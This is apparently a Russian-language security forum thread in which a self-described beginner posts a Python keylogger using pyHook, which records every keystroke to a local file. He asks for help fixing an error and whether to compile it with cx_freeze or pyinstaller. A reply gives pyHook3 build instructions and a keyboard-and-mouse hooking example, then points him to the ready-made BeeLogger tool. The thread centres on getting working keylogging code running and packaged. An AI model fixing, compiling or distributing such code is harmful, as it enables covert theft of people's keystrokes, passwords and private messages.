• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

  • Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

GopnikToday

Member
20.10.2019
18
0
BIT
0
К сожалению у меня возникла некоторая проблема с Кейлоггером. Нашел я его на этом же форуме.
Вот код, чтобы вы его не искали:
import pyHook, pythoncom, logging

def on_keyboard_event(event):
with open('keyloggerlog.txt', 'a') as fp:
fp.write(event.Key + ' ')
return True

hook_manager = pyHook.HookManager()
hook_manager.KeyDown = on_keyboard_event
hook_manager.HookKeyboard()
pythoncom.PumpMessages()
Когда я его запускаю выводится такая ошибка - TypeError: KeyboardSwitch() missing 8 required positional arguments: 'msg', 'vk_code', 'scan_code', 'ascii', 'flags', 'time', 'hwnd', and 'win_name'
Буду очень рад если кто-нибудь поможет в этом разобраться.
P.S Если кто-то знает, посоветуйте, компилировать его надо будет с помощью cx_freeze или с помощью pyinstaller?
Заранее спасибо гайсы.
 

f22

Codeby Academy
Gold Team
05.05.2019
1 835
225
BIT
973
И что после этого?
Тебе будет доступен модуль PyHook3.

Вот пример с github страницы этого проекта

Python:
import pyHook

def OnMouseEvent(event):
  print 'MessageName:',event.MessageName
  print 'Message:',event.Message
  print 'Time:',event.Time
  print 'Window:',event.Window
  print 'WindowName:',event.WindowName
  print 'Position:',event.Position
  print 'Wheel:',event.Wheel
  print 'Injected:',event.Injected
  print '---'

  # return True to pass the event to other handlers
  # return False to stop the event from propagating
  return True

def OnKeyboardEvent(event):
  print 'MessageName:',event.MessageName
  print 'Message:',event.Message
  print 'Time:',event.Time
  print 'Window:',event.Window
  print 'WindowName:',event.WindowName
  print 'Ascii:', event.Ascii, chr(event.Ascii)
  print 'Key:', event.Key
  print 'KeyID:', event.KeyID
  print 'ScanCode:', event.ScanCode
  print 'Extended:', event.Extended
  print 'Injected:', event.Injected
  print 'Alt', event.Alt
  print 'Transition', event.Transition
  print '---'

  # return True to pass the event to other handlers
  # return False to stop the event from propagating
  return True

# create the hook mananger
hm = pyHook.HookManager()
# register two callbacks
hm.MouseAllButtonsDown = OnMouseEvent
hm.KeyDown = OnKeyboardEvent

# hook into the mouse and keyboard events
hm.HookMouse()
hm.HookKeyboard()

if __name__ == '__main__':
  import pythoncom
  pythoncom.PumpMessages()

Правда, установка там не вполне простая.
Нужны следующие инструменты:

Скачиваешь и устанавливаешь его.


Распаковываешь в папку к примеру swig

После этого скачиваешь pyHook3
Разархивируешь его в папку pyHook3

С зажатым Shift кликаешь на эту папку правой кнопкой мыши
и выбираешь "Открыть окно команд", вводишь
python setup.py build_ext --swig=path-to-swig.exe
Но вместо path-to-swig.exe указываешь путь до скачанного swig (туда, где распаковал выше)

После этих манипуляций и установок, у тебя будет доступен модуль pyHook
А пример выше должен запуститься.
 
Последнее редактирование:

GopnikToday

Member
20.10.2019
18
0
BIT
0
Тебе будет доступен модуль PyHook3.

Вот пример с github страницы этого проекта

Python:
import pyHook

def OnMouseEvent(event):
  print 'MessageName:',event.MessageName
  print 'Message:',event.Message
  print 'Time:',event.Time
  print 'Window:',event.Window
  print 'WindowName:',event.WindowName
  print 'Position:',event.Position
  print 'Wheel:',event.Wheel
  print 'Injected:',event.Injected
  print '---'

  # return True to pass the event to other handlers
  # return False to stop the event from propagating
  return True

def OnKeyboardEvent(event):
  print 'MessageName:',event.MessageName
  print 'Message:',event.Message
  print 'Time:',event.Time
  print 'Window:',event.Window
  print 'WindowName:',event.WindowName
  print 'Ascii:', event.Ascii, chr(event.Ascii)
  print 'Key:', event.Key
  print 'KeyID:', event.KeyID
  print 'ScanCode:', event.ScanCode
  print 'Extended:', event.Extended
  print 'Injected:', event.Injected
  print 'Alt', event.Alt
  print 'Transition', event.Transition
  print '---'

  # return True to pass the event to other handlers
  # return False to stop the event from propagating
  return True

# create the hook mananger
hm = pyHook.HookManager()
# register two callbacks
hm.MouseAllButtonsDown = OnMouseEvent
hm.KeyDown = OnKeyboardEvent

# hook into the mouse and keyboard events
hm.HookMouse()
hm.HookKeyboard()

if __name__ == '__main__':
  import pythoncom
  pythoncom.PumpMessages()
Затем мне надо его изменить и можно запускать?
 

f22

Codeby Academy
Gold Team
05.05.2019
1 835
225
BIT
973
Затем мне надо его изменить и можно запускать?
Боюсь, что с таким уровнем понимания программирования,
тебе стоит либо использовать готовые программы,

(к примеру BeeLogger инструкция )
либо посмотреть какие-нибудь курсы.

Отвечая на вопрос в топике, библиотека pyHook сырая,

содержит ошибки, использовать её полноценно нет возможности.
 

GopnikToday

Member
20.10.2019
18
0
BIT
0
Боюсь, что с таким уровнем понимания программирования,
тебе стоит либо использовать готовые программы,

(к примеру BeeLogger инструкция )
либо посмотреть какие-нибудь курсы.

Отвечая на вопрос в топике, библиотека pyHook сырая,
содержит ошибки, использовать её полноценно нет возможности.
Спасибо что помог, и да, знания программирования у меня никакующие, интересуюсь я этим последние две недели. Ну а так еще раз спасибо что помог. :)
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!